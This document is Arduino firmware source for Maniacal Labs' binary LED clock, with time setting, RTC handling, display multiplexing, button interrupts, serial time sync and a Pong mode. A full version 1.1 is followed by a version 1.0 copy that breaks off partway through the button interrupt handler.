updated version

updated version

/*
Version 1.1
Copyright (c) 2013 Adam Haile, Dan Ternes & Miles Grubbs.  All right reserved.
http://ManiacalLabs.com

Many Thanks to Adafruit and Josh Ward (Kredal) for some of the code contained within.
*/

/*
Pinout Information
PC0 - PC3: Common cathode Outputs for display
PINB0-PINB5,PIND6-PIND7: Display row anodes
PC4 & PC5: SDA * SCL for I2C to RTC
PIND0 & PIND1: RX & TX for Serial
PIND2 & PIND3: Mode & Change buttons
PIND5: Reset Enable/Disable
*/

#include <Wire.h>
#include "RTClib.h"
#include "EEPROM.h"

#include "globals.h"

//Sets the individual digits of a number 0-99
static void setTimeVals(int in, uint8_t idx) {
	setValues[idx    ] = in / 10;
	setValues[idx + 1] = in - (setValues[idx] * 10);
}

/*
Moves forward the value at curSet and constrains
to proper date/time conventions including months,
leap years, etc.
Much of this borrowed from:
https://github.com/adafruit/TIMESQUARE-Watch/blob/master/examples/Watch/Set.pde
*/
inline void incrementSetValue()
{
	uint8_t upper, lower;
	upper = pgm_read_byte(&limit[curSet]);

	if(((curSet == SET_MO2) || (curSet == SET_D2)) && (setValues[curSet - 1] == 0)) {
		lower = 1;
	}
	else {
		lower = 0;

		if(curSet == SET_MO2) {
			if(setValues[SET_MO1] == 1) upper = 2;
		}
		else if(curSet == SET_D2) {
			// Cap most months at 30 or 31 days as appropriate
			if(setValues[SET_D1] == 3) {
				uint8_t m = setValues[SET_MO1] * 10 + setValues[SET_MO2];
				upper = pgm_read_byte(&daysInMonth[m - 1]) % 10;
				// Finally, the dreaded leap year...
			}
			else if((setValues[SET_D1] == 2) && (setValues[SET_MO1] == 0) &&
				(setValues[SET_MO2] == 1)) {
					uint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];
					if((y == 0) || (y & 3)) upper = 8; // non-leap year
			}
		}
		else if(curSet == SET_H2) {
			if(setValues[SET_H1] == 2) upper = 3;
		}

		if(upper == lower) return;

	}

	if(++setValues[curSet] > upper) setValues[curSet] = lower;

	uint8_t m, d;
	switch(curSet) {
	case SET_MO1:
		if((setValues[SET_MO1] == 1) && (setValues[SET_MO2] > 2))
			setValues[SET_MO2] = 0;
		// Lack of break is intentional...all subsequent constraints apply.
	case SET_MO2:
		m = setValues[SET_MO1] * 10 + setValues[SET_MO2];
		if(m < 1) setTimeVals(1, SET_MO1);
	case SET_D1:
		m     = setValues[SET_MO1] * 10 + setValues[SET_MO2];
		d     = setValues[SET_D1] * 10 + setValues[SET_D2];
		upper = pgm_read_byte(&daysInMonth[m - 1]);
		if(m == 2) { // is February
			uint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];
			if((y > 0) && !(y & 3)) upper = 29; // is leap year
		}
		if(d > upper)  setTimeVals(upper, SET_D1);
		else if(d < 1) setTimeVals(1, SET_D1);
	case SET_H1:
	case SET_H2:
		if((setValues[SET_H1] * 10 + setValues[SET_H2]) > 23)
			setTimeVals(23, SET_H1);
	}

	timeUpdated = setChanged = true;
}

//move to next set value and wrap if needed
inline void nextSetValue()
{
	curSet++;
	if(curSet > SET_MN2) curSet = SET_Y1;
	setChanged = true;
}

//Populate setValues with the current time
inline void loadSetVals()
{
	setValues[SET_Y1] = (dt_now.year() - 2000) / 10;
	setValues[SET_Y2] = (dt_now.year() - 2000) % 10;
	setValues[SET_MO1] = dt_now.month() / 10;
	setValues[SET_MO2] = dt_now.month() % 10;
	setValues[SET_D1] = dt_now.day() / 10;
	setValues[SET_D2] = dt_now.day() % 10;
	setValues[SET_H1] = dt_now.hour() / 10;
	setValues[SET_H2] = dt_now.hour() % 10;
	setValues[SET_MN1] = dt_now.minute() / 10;
	setValues[SET_MN2] = dt_now.minute() % 10;
}

//push setValues data to the RTC
inline void adjustFromSetVal()
{
	DateTime set = DateTime(
		(setValues[SET_Y1] * 10) + setValues[SET_Y2] + 2000,
		(setValues[SET_MO1] * 10) + setValues[SET_MO2],
		(setValues[SET_D1] * 10) + setValues[SET_D2],
		(setValues[SET_H1] * 10) + setValues[SET_H2],
		(setValues[SET_MN1] * 10) + setValues[SET_MN2] ,
		0
		);

	RTC->adjust(set);
}

//Output current DateTime to serial debug
//Generally only used during testing since
//serial is normally turned off
/*
void PrintDate(const DateTime& dt)
{
OD(dt.year());
OS(" ");
OD(dt.month());
OS(" ");
OD(dt.day());
OS(" - ");
OD(dt.hour());
OS(":");
OD(dt.minute());
OS(":");
OD(dt.second());
Serial.println();
}
*/

/*
Keeping the EEPROM stuff simple.
Only thing to save is the PWM level so
we just read it in the 0th byte of the
EEPROM register and then constrain to max/min
*/
inline void ReadPwmLevel()
{
	pwmLevel = EEPROM.read(0);
	if(pwmLevel <= 0 || pwmLevel > pwmMax)
		pwmLevel = pwmMax;
}

void setup()
{
	ReadPwmLevel();

	/*
	Support for multiple RTC chip types including software only.
	RTC_METHOD is set in globals.h
	The DS3231 has nearly identical registers to the DS1307 so if using that chip there
	is no real need to update RTC_METHOD, it will just work. Besides the current hardware has
	no place for the DS3231 (Chronodot)... maybe in the future.
	You can, however, leave out the DS1307 chip and set RTC_METHOD to USE_SOFTRTC/
	But note that there is no battery backup in this case and you will loose time if you loose power.
	*/
	if(RTC_METHOD == USE_DS1307)
		RTC = new RTC_DS1307();
	else if(RTC_METHOD == USE_DS3231)
		RTC = new RTC_DS3231();
	else
		RTC = new RTC_SOFT(DateTime(__DATE__, __TIME__));

	//init reference for time delays. used with TimeElapsed()  calls.
	//set to 0 instead of millis() so it always triggers right away the first time
	timeRef = 0;

	//Setup common cathodes as outputs
	DDRC |= (_BV(PINC0) | _BV(PINC1) | _BV(PINC2) | _BV(PINC3));
	//Setup rows as outputs
	DDRB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));
	DDRD |= (_BV(PIND6) | _BV(PIND7));

	//Set PORTD2 and PORTD3 as inputs
	DDRD &= ~(_BV(PIND2) | _BV(PIND3));
	//Enable set/change button pullups
	PORTD |= (_BV(PIND2) | _BV(PIND3));
	//Enable I2C pullups - probably not really necessary since twi.h does this for you
	PORTC |= (_BV(PINC4) | _BV(PINC5));

	//see setResetDisable(bool) for info
	DDRD &= ~(_BV(PIND5)); //Set PIND5 as input initially
	PORTD |= (_BV(PIND5)); //Set high

	//check for buttons held down at power up
	bSave = BUTTON_STATE;

	//init global time value
	dispBuf = 0;

	Wire.begin();

	//Grab current time and set to compile time if RTC is uniitialized
	dt_now = RTC->now();
	if(dt_now.unixtime() <= SECONDS_FROM_1970_TO_2000 + 60) //RTC not initialized and oscillator disabled
	{
		dt_now = DateTime(__DATE__, __TIME__);
		RTC->adjust(dt_now);
	}
	dispBuf = dt_now.unixtime();

	if(bSave != BUTTON_MASK && bSave & ~BUTTON_B)
	{
		//check again just to be sure. RTC-now() has given a bit of a delay
		bSave = BUTTON_STATE;
		if(bSave != BUTTON_MASK && bSave & ~BUTTON_B)
		{
			curState = STATE_PAUSE;
			dispBuf = 0xFFFFFFFF;
			timeOutRef = millis();
			holdFlag = true;
		}
	}

	setInterrupts();

	Serial.begin(SERIAL_BAUD);
}

/*
Used for software disable of reset on Serial connection.
Setting PIND5 to an output through a 110 ohm resistor
later will place 5V at low impedence on the reset pin,
preventing it from reseting when RTS is pulsed on connection.
*/
inline void setResetDisable(bool state)
{
	if(state)
		DDRD |= (_BV(PIND5));
	else
		DDRD &= ~(_BV(PIND5));
}

//Setup all things interrupt related
inline void setInterrupts()
{
	//disable interrupt  timers
	cli();
	// Set up interrupt-on-change for buttons.
	EICRA = _BV(ISC10)  | _BV(ISC00);  // Trigger on any logic change
	EIMSK = _BV(INT1)   | _BV(INT0);   // Enable interrupts on pins
	bSave = BUTTON_STATE; // Get initial button state

	//Setup Display Refresh Interrupt
	TCCR1A = 0;// set entire TCCR1A register to 0
	TCCR1B = 0;// same for TCCR1B
	TCNT1  = 0;//initialize counter value to 0

	// set compare match register for 6400hz (800hz screen refresh) increments
	OCR1A = 2500;// = (16*10^6) / (1*6400) - 1
	// turn on CTC mode
	TCCR1B |= _BV(WGM12);

	TCCR1B |= PRESCALE1_1;
	// enable timer compare interrupt
	TIMSK1 |= _BV(OCIE1A);

	//Setup Timer2 interrupts for button handling
	//Runs at about 60Hz, which is as slow as we can go
	TCCR2A = 0;// set entire TCCR1A register to 0
	TCCR2B = 0;// same for TCCR1B
	TCNT2  = 0;//initialize counter value to 0

	// set compare match register for max
	OCR2A = 255;
	// turn on CTC mode
	TCCR2B |= _BV(WGM21);

	TCCR2B |= PRESCALE2_1024;
	// enable timer compare interrupt
	TIMSK2 |= _BV(OCIE2A);

	//enable interrupt timers
	sei();
}

inline void endSerialSet()
{
	Serial.end();
	setResetDisable(false);
	curState = prevState;
}

//Timer2 interrupt for handling button presses
ISR(TIMER2_COMPA_vect)
{
	// Check for button 'hold' conditions
	if(bSave != BUTTON_MASK)
	{ // button(s) held
		if(bCount >= holdMax && !holdFlag)
		{ //held passed 1 second
			holdFlag = true;
			bCount = 0;
			if(bSave & ~BUTTON_A)
			{
				if(curState <= STATE_PONG)
				{
					prevState = curState;
					timeReady = false;
					setCancel = false;
					curState = STATE_MANUAL_SET;
					curSet = SET_Y1;
					loadSetVals();
					setChanged = true;
				}
				else if(curState == STATE_MANUAL_SET)
				{
					//set to new time
					timeReady = true;
				}
				else if(curState == STATE_PAUSE)
				{
					curState = prevState;
					ReadPwmLevel();
				}
				else if(curState == STATE_SERIAL_SET)
				{
					endSerialSet();
				}
			}
			else if(bSave & ~BUTTON_B)
			{
				if(curState <= STATE_PONG)
				{
					prevState = curState;
					curState = STATE_PAUSE;
					timeOutRef = millis();
				}
				else if(curState == STATE_PAUSE)
				{
					curState = prevState;
					ReadPwmLevel();
				}
				else if(curState == STATE_MANUAL_SET)
				{
					setCancel = true;
				}
				else if(curState == STATE_SERIAL_SET)
				{
					endSerialSet();
				}
			}
			else
			{
				if(curState <= STATE_PONG)
				{
					prevState = curState;
					setResetDisable(true);
					Serial.begin(SERIAL_BAUD);
					_serialScan = 16; //start in middle
					_serialScanDir = false;
					timeOutRef = millis();
					curState = STATE_SERIAL_SET;
				}
				else if(curState == STATE_SERIAL_SET)
				{
					endSerialSet();
				}
				else if(STATE_PAUSE)
				{
					curState = prevState;
					ReadPwmLevel();
				}
			}
		}
		else bCount++; // else keep counting...
	}
}

//Button external interrupts
ISR(INT0_vect) {
	uint8_t state = BUTTON_STATE;
	if(state == BUTTON_MASK) //both are high meaning they've been released
	{
		if(holdFlag)
		{
			holdFlag = false;
			bCount = 0;
		}
		else if(bCount > 3) //past debounce threshold
		{
			if(bSave & ~BUTTON_A)
			{
				if(curState == STATE_MANUAL_SET)
				{
					nextSetValue();
				}
				else if(curState == STATE_FULL_BINARY)
				{
					curState = STATE_SUB_BINARY;
				}
				else if(curState == STATE_SUB_BINARY)
				{
					resetPongBall();
					_pongLScore = _pongRScore = 0;
					curState = STATE_PONG;
				}
				else if(curState == STATE_PONG)
				{
					curState = STATE_FULL_BINARY;
				}
			}
			else if(bSave & ~BUTTON_B)
			{
				if(curState <= STATE_PONG)
				{
					//Change PWM level
					pwmLevel--;
					if(pwmLevel <= 0 || pwmLevel > pwmMax)
						pwmLevel = pwmMax;

					EEPROM.write(0, pwmLevel);
				}
				else if(curState == STATE_MANUAL_SET)
				{
					incrementSetValue();
				}
			}
		}
		bCount = 0;
	}
	else if(state != bSave) {
		bCount = 0;
	}

	bSave = state;
}

//Use the same handler for both INT0 and INT1 interrupts
ISR(INT1_vect, ISR_ALIASOF(INT0_vect));

/*
Where the magic happens. All the multiplexing is done here.
We start by disabling all the "columns" which actually means turning them to high
since this is common ground.
If in serial set mode we do a larson scanner instead of show the time.
Otherwise set the states of each of the 4 LEDs in each row and then finally
re-enable the column for this pass through the loop.
It requires 8 passes (1 per column) through this to update the display once.
As this is called at 6400Hz, we update the display fully at 800Hz.
*/
volatile uint8_t col = 0, row = 0;
volatile uint8_t scan_low = 0, scan_high = 0;
#define SCAN_WIDTH 2
ISR(TIMER1_COMPA_vect)
{
	//Turn all columns off (High is off in this case since it's common cathode)
	PORTB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));
	PORTD |= (_BV(PIND6) | _BV(PIND7));

	if(curState == STATE_SERIAL_SET)
	{
		scan_low = _serialScan >= SCAN_WIDTH ? _serialScan - SCAN_WIDTH : 0;
		scan_high = _serialScan <= (31 - SCAN_WIDTH) ? _serialScan + SCAN_WIDTH : 31;
		byte _scanOffset = 0;
		byte _curStep = 0;

		//set the 4 rows
		for(row=0; row<4; row++)
		{
			_curStep = (row + (col * 4));

			if(_curStep < _serialScan) _scanOffset = (_serialScan - _curStep);
			else if(_curStep > _serialScan) _scanOffset = (_curStep - _serialScan);
			else _scanOffset = 0;

			if((_curStep >= scan_low && _curStep <= scan_high) &&
				(_serialScanStep < scanLevels[_scanOffset]))
				PORTC |= _BV(row);
			else
				PORTC &= ~_BV(row);
		}

		//Enable the current column
		if(col < 6)
			PORTB &= ~_BV(col);
		else
			PORTD &= ~_BV(col);
	}
	else
	{
		if(pwmStep < pwmLevel)
		{
			//set the 4 rows
			for(row=0; row<4; row++)
			{
				if(dispBuf & (1UL << (row + (col * 4))))
					PORTC |= _BV(row);
				else
					PORTC &= ~_BV(row);
			}

			//Enable the current column
			if(col < 6)
				PORTB &= ~_BV(col);
			else
				PORTD &= ~_BV(col);
		}
	}

	col++;
	if(col == 8)
	{
		col = 0;
		pwmStep++;
		if(pwmStep == pwmMax)
			pwmStep = 0;

		if(curState == STATE_SERIAL_SET)
		{
			_serialScanStep++;
			if(_serialScanStep == 10) _serialScanStep = 0;
		}
	}
}

//Helper for time delays without actually pausing execution
bool TimeElapsed(unsigned long ref, unsigned long wait)
{
	unsigned long now = millis();

	if(now < ref || ref == 0) //for the 50 day rollover or first boot
		return true;

	if((now - ref) > wait)
		return true;
	else
		return false;
}

/*
Get time from serial connection
Time data is just the letter 't' followed by 4 bytes
representing a unix epoch 32-bit time stamp.
The time is assumed to already be adjusted for local
time zone and DST by the sending computer as RTC does not
store time as UTC.
*/
bool getPCTimeSync()
{
	bool result = false;
	if(Serial.available() >= SYNC_LEN)
	{
		byte buf[5];
		memset(buf, 0, 5);
		Serial.readBytes((char *)buf, 5);
		if(buf[0] == SYNC_HEADER)
		{
			uint32_t t = 0;
			memcpy(&t, buf+1, 4);
			RTC->adjust(DateTime(t));
			Serial.write(42); //Writes out to confirm we got it (sends as a *)
			Serial.flush();
			result = true;
			while(Serial.available()) Serial.read(); //clear the bufer
			Serial.end();
			setResetDisable(false);
		}
		else if(buf[0] == GET_HEADER)
		{
			dt_now = RTC->now();
			uint32_t time = dt_now.unixtime();
			memset(buf, 0, 5);
			buf[0] = SYNC_HEADER;
			memcpy(buf+1, &time, 4);
			Serial.write(buf, 5);
			Serial.flush();
			result = true;
		}
	}

	return result;
}

inline void resetPongBall()
{
	randomSeed(millis());
	_pongBall = random(2) ? 15 : 16;
	_pongDir = _pongBall > 15;
	_pongPaddles = (1UL << 31) | (1UL << 0);
}

inline void randomPongPaddles()
{

	switch ( random(4) % 4)
	{
	case 0:
		_pongPaddles = 0;
		break;
	case 1:
		_pongPaddles = (1UL << 31);
		break;
	case 2:
		_pongPaddles = (1UL << 0);
		break;
	case 3:
		_pongPaddles = (1UL << 31) | (1UL << 0);
		break;
	}
}

/*
The main program state machine.
Most of the time this will just be updating the time every 500ms
(1000ms can cause noticable jumps if program execution takes longer than normal).
*/
void loop()
{

	if(curState == STATE_FULL_BINARY)
	{
		if(TimeElapsed(timeRef, 500))
		{
			timeRef = millis();
			dt_now = RTC->now();
			dispBuf = dt_now.unixtime();
		}
	}
	//many thanks to Josh Ward for this new clock "face" that's a little more readable
	//https://github.com/kredal/
	//Use the following "key" for reading in this mode: http://maniacallabs.com/misc/Binary_Clock_Key.png
	//Tapping A will now switch between the modes
	else if(curState == STATE_SUB_BINARY)
	{
		if(TimeElapsed(timeRef, 500))
		{
			timeRef = millis();
			dt_now = RTC->now();

			sbVals[0] = dt_now.second();
			sbVals[1] = dt_now.minute();
			sbVals[2] = dt_now.hour();
			sbVals[3] = dt_now.day();
			sbVals[4] = dt_now.month();
			sbVals[5] = dt_now.year() - 2000;

			int i = 0;
			for(int i=0; i<=5; i++)
			{
				for(sbCurBit=0; sbCurBit <= sbBits[i]; sbCurBit++)
				{
					if(sbVals[i]  & (1UL << sbCurBit))
						dispBuf |= (1UL << sbCurBit + sbOffsets[i]);
					else
						dispBuf &= ~(1UL << sbCurBit + sbOffsets[i]);
				}
			}
		}
	}
	else if(curState == STATE_PONG)
	{
		if(TimeElapsed(timeRef, _pongTimeout))
		{
			timeRef = millis();
			if(_pongShowScore)
			{
				_pongShowScore = false;
				_pongTimeout = PONG_TIMEOUT;
				if(_pongLScore >= 16 || _pongRScore >= 16)
				{
					_pongLScore = _pongRScore = 0;
				}
			}

			if(_pongDir)
			{
				if(_pongBall == 30)
				{
					if(_pongPaddles & (1UL << 31))
					{
						_pongDir = false;
						randomPongPaddles();
					}
					else
					{
						_pongRScore++;
						_pongShowScore = true;
						resetPongBall();
					}
				}
			}
			else
			{
				if(_pongBall == 1)
				{
					if(_pongPaddles & (1UL << 0))
					{
						_pongDir = true;
						randomPongPaddles();
					}
					else
					{
						_pongLScore++;
						_pongShowScore = true;
						resetPongBall();
					}
				}
			}

			_pongBall += _pongDir ? 1 : -1;

			if(_pongShowScore)
			{
				_pongTimeout = 1000;
				dispBuf = (((1UL << 32) - 1) - ((1UL << (32 - _pongLScore)) - 1)) + ((1UL << _pongRScore) - 1);
			}
			else
			{
				dispBuf = _pongPaddles | (1UL << _pongBall);
			}
		}
	}
	else if(curState == STATE_PAUSE)
	{
		if(TimeElapsed(timeOutRef, 600000))
		{
			curState = prevState;
		}
		else
		{
			if(TimeElapsed(timeRef, 50))
			{
				timeRef = millis();
				if(pwmLevel == pwmMax) fadeDir = false;
				else if(pwmLevel == 1) fadeDir = true;
				pwmLevel += (fadeDir ? 1 : -1);
			}
		}
	}
	else if(curState == STATE_MANUAL_SET)
	{
		if(timeReady)
		{
			adjustFromSetVal();
			curState = prevState;
		}
		else if(setChanged)
		{
			setChanged = false;
			uint32_t temp = 0;
			if(setValues[curSet])
				temp += ((1UL << setValues[curSet]) - 1);

			temp |= (1UL << (31 - curSet));
			dispBuf = temp;
		}
		else if(setCancel)
		{
			curState = prevState;
		}

	}
	else if(curState == STATE_SERIAL_SET)
	{
		if(TimeElapsed(timeOutRef, 30000))
		{
			Serial.end();
			setResetDisable(false);
			curState = prevState;
		}
		else
		{
			if(TimeElapsed(timeRef, 40))
			{
				timeRef = millis();
				if(_serialScan == 31) _serialScanDir = false;
				else if(_serialScan == 0) _serialScanDir = true;
				_serialScan += (_serialScanDir ? 1 : -1);
			}

			//check for serial data for time sync
			if(getPCTimeSync())
				curState = prevState;
		}
	}
}

/*
Version 1.0
Copyright (c) 2013 Adam Haile & Dan Ternes.  All right reserved.
http://ManiacalLabs.com
*/

/*
Pinout Information
PC0 - PC3: Common cathode Outputs for display
PINB0-PINB5,PIND6-PIND7: Display row anodes
PC4 & PC5: SDA * SCL for I2C to RTC
PIND0 & PIND1: RX & TX for Serial
PIND2 & PIND3: Mode & Change buttons
PIND5: Reset Enable/Disable
*/

#include <Wire.h>
#include "RTClib.h"
#include "EEPROM.h"

#include "globals.h"

//Sets the individual digits of a number 0-99
static void setTimeVals(int in, uint8_t idx) {
	setValues[idx    ] = in / 10;
	setValues[idx + 1] = in - (setValues[idx] * 10);
}

/*
Moves forward the value at curSet and constrains
to proper date/time conventions including months,
leap years, etc.
Much of this borrowed from:
https://github.com/adafruit/TIMESQUARE-Watch/blob/master/examples/Watch/Set.pde
*/
inline void incrementSetValue()
{
	uint8_t upper, lower;
	upper = pgm_read_byte(&limit[curSet]);

	if(((curSet == SET_MO2) || (curSet == SET_D2)) && (setValues[curSet - 1] == 0)) {
		lower = 1;
	}
	else {
		lower = 0;

		if(curSet == SET_MO2) {
			if(setValues[SET_MO1] == 1) upper = 2;
		}
		else if(curSet == SET_D2) {
			// Cap most months at 30 or 31 days as appropriate
			if(setValues[SET_D1] == 3) {
				uint8_t m = setValues[SET_MO1] * 10 + setValues[SET_MO2];
				upper = pgm_read_byte(&daysInMonth[m - 1]) % 10;
				// Finally, the dreaded leap year...
			}
			else if((setValues[SET_D1] == 2) && (setValues[SET_MO1] == 0) &&
				(setValues[SET_MO2] == 1)) {
					uint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];
					if((y == 0) || (y & 3)) upper = 8; // non-leap year
			}
		}
		else if(curSet == SET_H2) {
			if(setValues[SET_H1] == 2) upper = 3;
		}

		if(upper == lower) return;

	}

	if(++setValues[curSet] > upper) setValues[curSet] = lower;

	uint8_t m, d;
	switch(curSet) {
	case SET_MO1:
		if((setValues[SET_MO1] == 1) && (setValues[SET_MO2] > 2))
			setValues[SET_MO2] = 0;
		// Lack of break is intentional...all subsequent constraints apply.
	case SET_MO2:
		m = setValues[SET_MO1] * 10 + setValues[SET_MO2];
		if(m < 1) setTimeVals(1, SET_MO1);
	case SET_D1:
		m     = setValues[SET_MO1] * 10 + setValues[SET_MO2];
		d     = setValues[SET_D1] * 10 + setValues[SET_D2];
		upper = pgm_read_byte(&daysInMonth[m - 1]);
		if(m == 2) { // is February
			uint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];
			if((y > 0) && !(y & 3)) upper = 29; // is leap year
		}
		if(d > upper)  setTimeVals(upper, SET_D1);
		else if(d < 1) setTimeVals(1, SET_D1);
	case SET_H1:
	case SET_H2:
		if((setValues[SET_H1] * 10 + setValues[SET_H2]) > 23)
			setTimeVals(23, SET_H1);
	}

	timeUpdated = setChanged = true;
}

//move to next set value and wrap if needed
inline void nextSetValue()
{
	curSet++;
	if(curSet > SET_MN2) curSet = SET_Y1;
	setChanged = true;
}

//Populate setValues with the current time
inline void loadSetVals()
{
	setValues[SET_Y1] = (dt_now.year() - 2000) / 10;
	setValues[SET_Y2] = (dt_now.year() - 2000) % 10;
	setValues[SET_MO1] = dt_now.month() / 10;
	setValues[SET_MO2] = dt_now.month() % 10;
	setValues[SET_D1] = dt_now.day() / 10;
	setValues[SET_D2] = dt_now.day() % 10;
	setValues[SET_H1] = dt_now.hour() / 10;
	setValues[SET_H2] = dt_now.hour() % 10;
	setValues[SET_MN1] = dt_now.minute() / 10;
	setValues[SET_MN2] = dt_now.minute() % 10;
}

//push setValues data to the RTC
inline void adjustFromSetVal()
{
	DateTime set = DateTime(
		(setValues[SET_Y1] * 10) + setValues[SET_Y2] + 2000,
		(setValues[SET_MO1] * 10) + setValues[SET_MO2],
		(setValues[SET_D1] * 10) + setValues[SET_D2],
		(setValues[SET_H1] * 10) + setValues[SET_H2],
		(setValues[SET_MN1] * 10) + setValues[SET_MN2] ,
		0
		);

	RTC->adjust(set);
}

//Output current DateTime to serial debug
//Generally only used during testing since
//serial is normally turned off
/*
void PrintDate(const DateTime& dt)
{
OD(dt.year());
OS(" ");
OD(dt.month());
OS(" ");
OD(dt.day());
OS(" - ");
OD(dt.hour());
OS(":");
OD(dt.minute());
OS(":");
OD(dt.second());
Serial.println();
}
*/

/*
Keeping the EEPROM stuff simple.
Only thing to save is the PWM level so
we just read it in the 0th byte of the
EEPROM register and then constrain to max/min
*/
inline void ReadPwmLevel()
{
	pwmLevel = EEPROM.read(0);
	if(pwmLevel <= 0 || pwmLevel > pwmMax)
		pwmLevel = pwmMax;
}

void setup()
{
	ReadPwmLevel();

	/*
	Support for multiple RTC chip types including software only.
	RTC_METHOD is set in globals.h
	The DS3231 has nearly identical registers to the DS1307 so if using that chip there
	is no real need to update RTC_METHOD, it will just work. Besides the current hardware has
	no place for the DS3231 (Chronodot)... maybe in the future.
	You can, however, leave out the DS1307 chip and set RTC_METHOD to USE_SOFTRTC/
	But note that there is no battery backup in this case and you will loose time if you loose power.
	*/
	if(RTC_METHOD == USE_DS1307)
		RTC = new RTC_DS1307();
	else if(RTC_METHOD == USE_DS3231)
		RTC = new RTC_DS3231();
	else
		RTC = new RTC_SOFT(DateTime(__DATE__, __TIME__));

	//init reference for time delays. used with TimeElapsed()  calls.
	//set to 0 instead of millis() so it always triggers right away the first time
	timeRef = 0;

	//Setup common cathodes as outputs
	DDRC |= (_BV(PINC0) | _BV(PINC1) | _BV(PINC2) | _BV(PINC3));
	//Setup rows as outputs
	DDRB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));
	DDRD |= (_BV(PIND6) | _BV(PIND7));

	//Set PORTD2 and PORTD3 as inputs
	DDRD &= ~(_BV(PIND2) | _BV(PIND3));
	//Enable set/change button pullups
	PORTD |= (_BV(PIND2) | _BV(PIND3));
	//Enable I2C pullups - probably not really necessary since twi.h does this for you
	PORTC |= (_BV(PINC4) | _BV(PINC5));

	//see setResetDisable(bool) for info
	DDRD &= ~(_BV(PIND5)); //Set PIND5 as input initially
	PORTD |= (_BV(PIND5)); //Set high

	//check for buttons held down at power up
	bSave = BUTTON_STATE;

	//init global time value
	dispBuf = 0;

	Wire.begin();

	//Grab current time and set to compile time if RTC is uniitialized
	dt_now = RTC->now();
	if(dt_now.unixtime() <= SECONDS_FROM_1970_TO_2000 + 60) //RTC not initialized and oscillator disabled
	{
		dt_now = DateTime(__DATE__, __TIME__);
		RTC->adjust(dt_now);
	}
	dispBuf = dt_now.unixtime();

	if(bSave != BUTTON_MASK && bSave & ~BUTTON_B)
	{
		//check again just to be sure. RTC-now() has given a bit of a delay
		bSave = BUTTON_STATE;
		if(bSave != BUTTON_MASK && bSave & ~BUTTON_B)
		{
			curState = STATE_PAUSE;
			dispBuf = 0xFFFFFFFF;
			timeOutRef = millis();
			holdFlag = true;
		}
	}

	setInterrupts();

	Serial.begin(SERIAL_BAUD);
}

/*
Used for software disable of reset on Serial connection.
Setting PIND5 to an output through a 110 ohm resistor
later will place 5V at low impedence on the reset pin,
preventing it from reseting when RTS is pulsed on connection.
*/
inline void setResetDisable(bool state)
{
	if(state)
		DDRD |= (_BV(PIND5));
	else
		DDRD &= ~(_BV(PIND5));
}

//Setup all things interrupt related
inline void setInterrupts()
{
	//disable interrupt  timers
	cli();
	// Set up interrupt-on-change for buttons.
	EICRA = _BV(ISC10)  | _BV(ISC00);  // Trigger on any logic change
	EIMSK = _BV(INT1)   | _BV(INT0);   // Enable interrupts on pins
	bSave = BUTTON_STATE; // Get initial button state

	//Setup Display Refresh Interrupt
	TCCR1A = 0;// set entire TCCR1A register to 0
	TCCR1B = 0;// same for TCCR1B
	TCNT1  = 0;//initialize counter value to 0

	// set compare match register for 6400hz (800hz screen refresh) increments
	OCR1A = 2500;// = (16*10^6) / (1*6400) - 1
	// turn on CTC mode
	TCCR1B |= _BV(WGM12);

	TCCR1B |= PRESCALE1_1;
	// enable timer compare interrupt
	TIMSK1 |= _BV(OCIE1A);

	//Setup Timer2 interrupts for button handling
	//Runs at about 60Hz, which is as slow as we can go
	TCCR2A = 0;// set entire TCCR1A register to 0
	TCCR2B = 0;// same for TCCR1B
	TCNT2  = 0;//initialize counter value to 0

	// set compare match register for max
	OCR2A = 255;
	// turn on CTC mode
	TCCR2B |= _BV(WGM21);

	TCCR2B |= PRESCALE2_1024;
	// enable timer compare interrupt
	TIMSK2 |= _BV(OCIE2A);

	//enable interrupt timers
	sei();
}

inline void endSerialSet()
{
	Serial.end();
	setResetDisable(false);
	curState = prevState;
}

//Timer2 interrupt for handling button presses
ISR(TIMER2_COMPA_vect)
{
	// Check for button 'hold' conditions
	if(bSave != BUTTON_MASK)
	{ // button(s) held
		if(bCount >= holdMax && !holdFlag)
		{ //held passed 1 second
			holdFlag = true;
			bCount = 0;
			if(bSave & ~BUTTON_A)
			{
				if(curState <= STATE_PONG)
				{
					prevState = curState;
					timeReady = false;
					setCancel = false;
					curState = STATE_MANUAL_SET;
					curSet = SET_Y1;
					loadSetVals();
					setChanged = true;
				}
				else if(curState == STATE_MANUAL_SET)
				{
					//set to new time
					timeReady = true;
				}
				else if(curState == STATE_PAUSE)
				{
					curState = prevState;
					ReadPwmLevel();
				}
				else if(curState == STATE_SERIAL_SET)
				{
					endSerialSet();
				}
			}
			else if(bSave & ~BUTTON_B)
			{
				if(curState <= STATE_PONG)
				{
					prevState = curState;
					curState = STATE_PAUSE;
					timeOutRef = millis();
				}
				else if(curState == STATE_PAUSE)
				{
					curState = prevState;
					ReadPwmLevel();
				}
				else if(curState == STATE_MANUAL_SET)
				{
					setCancel = true;
				}
				else if(curState == STATE_SERIAL_SET)
				{
					endSerialSet();
				}
			}
			else
			{
				if(curState <= STATE_PONG)
				{
					prevState = curState;
					setResetDisable(true);
					Serial.begin(SERIAL_BAUD);
					_serialScan = 16; //start in middle
					_serialScanDir = false;
					timeOutRef = millis();
					curState = STATE_SERIAL_SET;
				}
				else if(curState == STATE_SERIAL_SET)
				{
					endSerialSet();
				}
				else if(STATE_PAUSE)
				{
					curState = prevState;
					ReadPwmLevel();
				}
			}
		}
		else bCount++; // else keep counting...
	}
}

//Button external interrupts
ISR(INT0_vect) {
	uint8_t state = BUTTON_STATE;
	if(state == BUTTON_MASK) //both are high meaning they've been released
	{
		if(holdFlag)
		{
			holdFlag = false;
			bCount = 0;
		}
		else if(bCount > 3) //past debounce threshold
		{
			if(bSave & ~BUTTON_A)
			{
				if(curState == STATE_MANUAL_SET)
				{
					nextSetValue();
				}
				else if(curState == STATE_FULL_BINARY)
				{
					curState = STATE_SUB_BINARY;
				}
				else if(curState == STATE_SUB_BINARY)
				{
					resetPongBall();
					_pongLScore = _pongRScore = 0;
					curState = STATE_PONG;
				}
